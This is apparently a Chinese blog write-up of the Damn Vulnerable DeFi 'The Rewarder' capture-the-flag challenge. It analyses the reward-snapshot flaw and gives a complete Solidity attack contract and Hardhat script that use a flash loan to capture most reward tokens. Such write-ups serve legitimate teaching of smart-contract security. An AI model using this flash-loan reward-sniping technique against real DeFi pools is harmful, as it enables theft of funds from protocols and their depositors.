抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

1. issue

There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.

Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!

You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.

By the way, rumours say a new pool has just launched. Isn’t it offering flash loans of DVT tokens?

简单来说,就是 我手中没钱,要求我去存钱并获取最多的利息。当然这理论上是天方夜谭,所以题目给我们提供了一个闪电贷。

题目链接

2. analysing

2.1 FlashLoanerPool

flashLoan函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function flashLoan(uint256 amount) external nonReentrant {
uint256 balanceBefore = liquidityToken.balanceOf(address(this));

// 贷款的数目不能大于借贷池的 balanceBefore
if (amount > balanceBefore) {
revert NotEnoughTokenBalance();
}

// 调用者只能是合约
if (!msg.sender.isContract()) {
revert CallerIsNotContract();
}

// 向msg.sender转账
liquidityToken.transfer(msg.sender, amount);

/**
解读 `functionCall(address target, bytes memory data)`
1. 这里涉及了库函数的使用,库函数的调用者即为 functionCall 的第一个参数
2. 此时的调用者必须是一个合约地址,且该地址的余额必须大于等于0
3. 函数中还会执行target.call{value: value}(data)
3.1. 使用 target 调用 data字节码表示的函数
3.2. 并且发送 value的金额,此时的value=0
sum: 在底层使用 target 调用 "data函数"
*/
// receiveFlashLoan 函数未定义,有操作空间
msg.sender.functionCall(abi.encodeWithSignature("receiveFlashLoan(uint256)", amount));

// 确保还钱之后,借贷池的余额大于未借贷之前的余额
if (liquidityToken.balanceOf(address(this)) < balanceBefore) {
revert FlashLoanNotPaidBack();
}
}

一个借贷功能,但是要求借贷人实现 receiveFlashLoan(uint256)函数才能借贷。

2.2 TheRewarderPool

对目前的我来说,分析起来真要命(具体的细节还是那个快照)。。。。

先看构造函数,构造函数中的_recordSnapshot()就有大学问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
constructor(address _token) {
// Assuming all tokens have 18 decimals
liquidityToken = _token; // 金库地址
accountingToken = new AccountingToken(); // DVT token
rewardToken = new RewardToken(); // 奖励代币 RWT

/**

部署合约之后,拍一次快照,
此时的 lastSnapshotIdForRewards = 1,lastRecordedSnapshotTimestamp = 部署合约的时间
当我们的 msg.sender 第一次调用deposit时,lastRewardTimestamps[msg.sender] = 0
也就是,函数 _hasRetrievedReward 的判断条件
lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp : 0 >= uint64(block.timestamp) ?

lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION :0 <= uint64(block.timestamp) + 5 days

所以只要是第一次进行操作的用户,结果返回的始终是false
*/
_recordSnapshot();
}

看完这个函数之后,给我的想法是,这不就是给新用户的福利吗,只要是新用户(msg.sender第一次调用此合约),不管怎么样,即使是我刚刚部署完合约就立马存钱就直接可以获得reward。

deposit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function deposit(uint256 amount) external {

// 存款不能为0
if (amount == 0) {
revert InvalidDepositAmount();
}

// 为 msg.sender 铸币
accountingToken.mint(msg.sender, amount);

// 执行分配奖励机制
distributeRewards();

// liquidityToken 负责 从 msg.sender 向 address(this) 转移 amount 的ETH
// 此时的 msg.sender 是 Account
SafeTransferLib.safeTransferFrom(
liquidityToken,
msg.sender,
address(this),
amount
);
}

代码还行的,重点就是 distributeRewards().

distributeRewards()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// 分配奖励函数
function distributeRewards() public returns (uint256 rewards) {

// 是否是新的快照时期
if (isNewRewardsRound()) {
// 如果时新的回合,就更新当前快照
_recordSnapshot();
}

// 查询最新快照 的 totalSupply
// 如果是第一回合,则返回铸币数目
uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards);

// 在当前快照下,msg.sneder 的 balance
uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

if (amountDeposited > 0 && totalDeposits > 0) {

// rewards = amountDeposited * REWARDS / totalDeposits
rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);

// rewards > 0; _hasRetrievedReward:是否检索到新的奖励
if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
// 为 msg.sender 铸奖励币
rewardToken.mint(msg.sender, rewards);
// 记录 msg.sender 最新获利的时间
lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
}
}
}

简单来说,就是账户没钱就不做什么操作,如果有钱,且rewards 和存钱时间大于 5days 就可以获得奖励池的RWT奖励,并更新该账户的获取时间。

_hasRetrievedReward函数

1
2
3
4
5
6
function _hasRetrievedReward(address account) private view returns (bool) {
return (
lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp
&& lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
);
}

我有个疑惑,即使不是新用户,那么我只要将合约部署之后,过了五天之后,我就可以一直往里面获取奖励?

因为 lastRecordedSnapshotTimestamp 只有在初始化的时候被赋值,只要我不赋值(即不再部署新的该合约,是不是就可以五天之后一直调用 奖励函数呢?

想明白了:

看错代码了,lastRecordedSnapshotTimestamp 只在初始化中会执行一次,其他时候都在distributeRewards函数中,也就是说每次执行 奖励函数,如果成功获奖,那么久更新 lastRecordedSnapshotTimestamp。

到这里,做题思路就出来了,案例来说对于我们新用户,不用等 5days就可以取钱了的,所以只要向 借贷池中借 最多的钱,来执行我们的存钱操作就可以了。当然,题目还挖了个坑,,,,

1
2
3
4
expect(
await rewarderPool.roundNumber()
).to.be.eq(3);

要到第三回合才可以成功。要是有耐心的人的话,可以等 5天,但是我没耐心且在本地,就可以使用 ethers的工具,来篡改EVM的时间。

综上所述,我们的思路是:

  • 部署 奖励池合约

  • 等待 5 天,从 中获取 DVT 的闪贷FlashLoanerPool

  • 存入RewarderPool(执行deposit函数也会执行distributeRewards函数),

  • 提取 DVT

  • 发送RewardToken给攻击者

  • 偿还贷款。

3. solving

3.1 RewardHack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./FlashLoanerPool.sol";
import "./TheRewarderPool.sol";
import "../DamnValuableToken.sol";
import { RewardToken } from "./RewardToken.sol";
import "hardhat/console.sol";

contract RewardHack {
DamnValuableToken damnValuableToken;
FlashLoanerPool flashLoanpool;
TheRewarderPool rewarderPool;
RewardToken rewardToken;
address player;

constructor(address _dvtAddr, address _flashpoolAddr, address _rewarderpollAddr, address _rwtAddr) {
damnValuableToken = DamnValuableToken(_dvtAddr);
flashLoanpool = FlashLoanerPool(_flashpoolAddr); // 用来调用 flashLoan
rewarderPool = TheRewarderPool(_rewarderpollAddr); // 用来调用 存钱取钱
rewardToken = RewardToken(_rwtAddr);
player = msg.sender; // 记录当前player的地址
}


// 让我们的 hacker 成为借贷着,虽然题目要求操作的是 player的余额,但是player 和 hacker 是自己人嘛
// receiveFlashLoan 还贷是在借贷之后的,所以可以假设我们现在有钱,我们先把自己要做的事情做完再还款
function receiveFlashLoan(uint256 amount) external {

/**
为了让 RewardHack 给 rewardPool授权
`allowance[msg.sender][spender] = amount;`

safeTransferFrom 函数的声明有解释
The `from` account must have at least `amount` approved for
*/
damnValuableToken.approve(address(rewarderPool), amount);

// 先执行存钱操作,里面执行了获利函数,此时 balance(RewardHack) = amount + rewards
// 此时 amount 在 TheRewarderPool ,而 rewards 在 RewardHack 中
rewarderPool.deposit(amount);

// 把存的钱(amount)取出来, amount 在 RewardHack 中
rewarderPool.withdraw(amount);

// 要通过 TheRewarderPool账户 将 rewards 转给 RewardHack
rewardToken.transfer(player, rewardToken.balanceOf(address(this)));

// 还贷
damnValuableToken.transfer(address(flashLoanpool), amount);
// 将 TheRewarderPool 中的rewards全部转给我(player)

damnValuableToken.transfer(player, rewardToken.balanceOf(address(this)));
}

function attack(uint256 amount) external {
/**
执行借贷操作:
对 RewardHack 函数来说,msg.sender 是我,对 FlashLoanerPool 来说msg.sender 是 RewardHack;
在执行 `liquidityToken.transfer(msg.sender, amount)`时,
金库 damnValuableToken 是给 RewardHack 转账
*/
flashLoanpool.flashLoan(amount);
}
}

3.2 challenge.js

1
2
3
4
5
6
7
8
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const attacker = await(await ethers.getContractFactory('RewardHack', player)).deploy(
liquidityToken.address, flashLoanPool.address, rewarderPool.address, rewardToken.address
);
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]);
await attacker.attack(TOKENS_IN_LENDER_POOL);
});

image-20230712004221835

3.3 above all

这个challenge 的 msg.sender真的很绝,至少这是我目前遇到的最绕的一个。

理解好 msg.sender ,其实也还行。

评论



政策 · 统计 | 本站使用 Volantis 主题设计